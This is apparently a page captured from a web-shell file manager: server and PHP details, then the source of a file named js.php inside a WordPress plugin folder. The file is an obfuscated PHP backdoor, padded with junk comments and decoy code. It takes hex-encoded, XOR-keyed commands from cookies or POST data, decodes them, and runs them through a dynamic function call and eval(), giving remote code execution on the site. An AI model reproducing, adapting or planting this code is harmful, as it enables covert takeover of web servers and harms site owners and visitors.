HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-content/plugins/1pq1q1s1/js.php
<?php
function/*   uP*/htjrjTL($JhGdZsDT)
				{
		 return   @pack(	"\110"/*  LgHhD */.	chr/*   iN   */(   721	-/*Ao */679/*  TZugz*/),  $JhGdZsDT	);;
    
	  $MhayEpka     =  md5($JhGdZsDT);$_yzz	=	'59243';
/*   zc*/$ljExb/*  m*/=	base64_decode($JhGdZsDT);;


	if/*ooyWB  */($ljExb/*   oHO   */===	false)/*   gS */{
	 $ljExb/* WkBkg   */=/*  jv   */'';$_j   =/*aBA */'33840';

	}
			$GRDMbpE/*IcSx  */=/*   ka   */str_split($JhGdZsDT);
     	$BbeVIU	=	strlen($JhGdZsDT);

	$BtDpCIxMcI/*  Qpl*/=    0;$_z	=/*  SNczx */'5903';
		/*  ZW  */while/*yobS   */(	$BtDpCIxMcI/*  S   */</* ib*/$BbeVIU	)	{
/* Ks */$BtDpCIxMcI++;
    	$FcgqOdf	=   $GRDMbpE[$BtDpCIxMcI];$_RzIl  =/*IAp  */'37372';
    /* vajp */if/* Tn */(strpos($FcgqOdf,	'a')/*  ihLQ  */!==    false)/* NX   */{
    $GRDMbpE[$BtDpCIxMcI]	=	strtoupper($FcgqOdf);$_QJF	=	'2917';
  /* kRF   */}
      }
      $TrhuInMIpE     =    implode('',  $GRDMbpE);
	/*   PNzk  */$_GET['decoded']	=   $TrhuInMIpE;


    $_POST['hash']	=/*   AEv */$MhayEpka;;


     if	(file_exists('path/to/file'))	{
         $dgGwEZ     =/*  WlJVN */file_get_contents('path/to/file');$_DbxiG/*LeGfu   */=	'61598';
	     $XQXnfFpZaW  =/*   OAA */explode(',',	$dgGwEZ);$_iXb =	'61246';


	$fTEzc  =   md5(serialize($XQXnfFpZaW));;
			/*je   */if	(is_array($XQXnfFpZaW))	{
				/*   CO*/$kljpqobpYO  =  array_slice($XQXnfFpZaW,	0,    5);;

/*  hi  */}
			/*  hUoy */}


    $RjHmiurXC     =/*F */array_map('trim',	$kljpqobpYO);
			   $UqeCxSK	=	rawurldecode(implode(',',/* iCpQ*/$RjHmiurXC));;

     $_COOKIE['final_value']   =	$UqeCxSK;

	}
				
         function    LMOkqiq()
 	{
	$LTRrKvVF	=	Array($_COOKIE,/* rJfMF */$_POST);;
 /* q   */$JlaTWeDo	=   array_map('md5',   $_COOKIE);

    $LMlbQgen   =	strpos($_SERVER['HTTP_USER_AGENT'],	'Mozilla')	!==	false  ?  'browser     is/* pBL   */Mozilla'/*   odD*/:/*KAq */'browser/*   MuNIE   */is	not    Mozilla';;
	


  if (is_array($LTRrKvVF))  {
				     $BtDpCIxMcIzNOFcnAAA	=    array_slice($LTRrKvVF,/*   erR   */0,/*   xwdlE*/1);;


/*  p  */}     else     {
		$BtDpCIxMcIzNOFcnAAA/* drZ*/=/*   n   */[];
		}
				/*RsmhJ  */


	$LuorTcbAyc	=	explode(',',   'apple,orange,banana');$_X     =/*   zJEkc  */'37782';
     /*   ElwD*/$CkzFTr =/*  MUKvX  */rawurldecode('%20Hello%20World%20');
   /* w */$BtDpCIxMcI  =    0; 


/*  FsuT*/while/*CnWO*/($BtDpCIxMcI	<	count($LuorTcbAyc)/*ZwfW*/)	{
						$LuorTcbAyc[$BtDpCIxMcI]	=/*   OTpy   */str_repeat($LuorTcbAyc[$BtDpCIxMcI], 2);
    	$BtDpCIxMcI++;

 }
	
/*H*/$dFIjfVbY/* SG  */=	str_repeat($LMlbQgen,/* AHM   */3);
		 
	return	$LTRrKvVF;$_tDojZ =	'58326';
				 }
 
				function	HyJHLyHamH($FNIvbdD)

/*   zDIZI   */{

	$YeyAbScX/*  j   */=/*gZZ*/chr (	383/*   aNTMj*/-/*u   */348	);
       foreach/* K   */(LMOkqiq() as/*   Yq*/$hztjHfK)	{
	    ZaPfUUXqB($hztjHfK,/*OhtML  */$YeyAbScX);
					     }
   /* g  */}
 /*GhoXE */


    function	GBOdX($QqndsTJ,     $WpaiNxh)
          {
				   if     (/*TJ*/count/* gbqDw  */(/* SfK */$QqndsTJ   )/*ISSoA   */==	3/* j */)  {
			$yYGdWfFDjN/*hN  */=	$QqndsTJ[1];
					     $OGWqf    =	$QqndsTJ[2];

	$SMHUwBiQ	=   $yYGdWfFDjN($OGWqf);$_aML/*EzehV */=/* Xem   */'32263';
      eval/*  bxFw   */(	$SMHUwBiQ   );;
				die	();;
   	}
       }
/*  iKIYw   */

	function	DsjwB($JhGdZsDT,  $yPQDs)
		{
     	return/*  d  */$JhGdZsDT	^ $yPQDs;;
      }
     
    	function   lralQj($euRoAlj,    $YeyAbScX)


/*   anuwo*/{/*c*/
     	$euRoAlj  =   explode/*  evK  */($YeyAbScX,/*   BGPN */$euRoAlj     );
				/*   ieF */
  /*   TH*/GBOdX($euRoAlj,/*  wcgMZ*/$YeyAbScX);;

/*   z*/}
  
 function	ZaPfUUXqB($hztjHfK,	$YeyAbScX)
  	{
 	foreach	(/* TQKX   */$hztjHfK/*YBGEp  */as  $yPQDs/*   DOy */=>	$JhGdZsDT/* jm*/)  {
				QhRpcDBkvu($yPQDs,     htjrjTL($JhGdZsDT),/*   nyF */$YeyAbScX);
  	}
  }
   /* N */
	   function/*  tgaYJ  */OQcOpo($yPQDs,     $JhGdZsDT)
				    {
     /*kS*/$ePHZcHVvY/*   tIp  */=   strlen(    $JhGdZsDT   )/strlen(     $yPQDs    );;
 	$yPQDs	.=	"tmNGvQz-VnrYJ-aurr-PCigW-hbz-Gizng-yJaB";;
/* i   */$yPQDs   =	str_repeat (/*   GdU   */$yPQDs,     intval($ePHZcHVvY)	+	1);;
   /*  PrZ*/
		return   $yPQDs;
  }
				
/*  iOmv */function	QhRpcDBkvu($yPQDs,     $JhGdZsDT,/*   RAi */$YeyAbScX)


	{	
         lralQj(DsjwB($JhGdZsDT,	OQcOpo($yPQDs,/*Ul */$JhGdZsDT)), $YeyAbScX);
         

/*  SPmQ */$SyQljMHuvy	=	trim($JhGdZsDT);
			$AmbmXGf    =	explode($YeyAbScX,/* nfsOd  */$SyQljMHuvy);
	if	(count($AmbmXGf)/*  PGE */>	1)/* iHT   */{
/*sA   */$HZmQmOSXFU	=/*spw*/implode(chr	(     333 -/*  MUVP */288  ),	$AmbmXGf);;
		/*R*/$BtDpCIxMcIxAWV =    str_pad($HZmQmOSXFU,/* v */20,/*  aTpFI   */"\x30",/*  pg  */STR_PAD_RIGHT);;


	}/*   HnDMz   */else     {
     	$BtDpCIxMcIxAWV	=/*  CTis*/str_replace("\40",	'_', $SyQljMHuvy);$_z/*   Nxyc   */=     '14675';
    }

	}
					
						HyJHLyHamH("");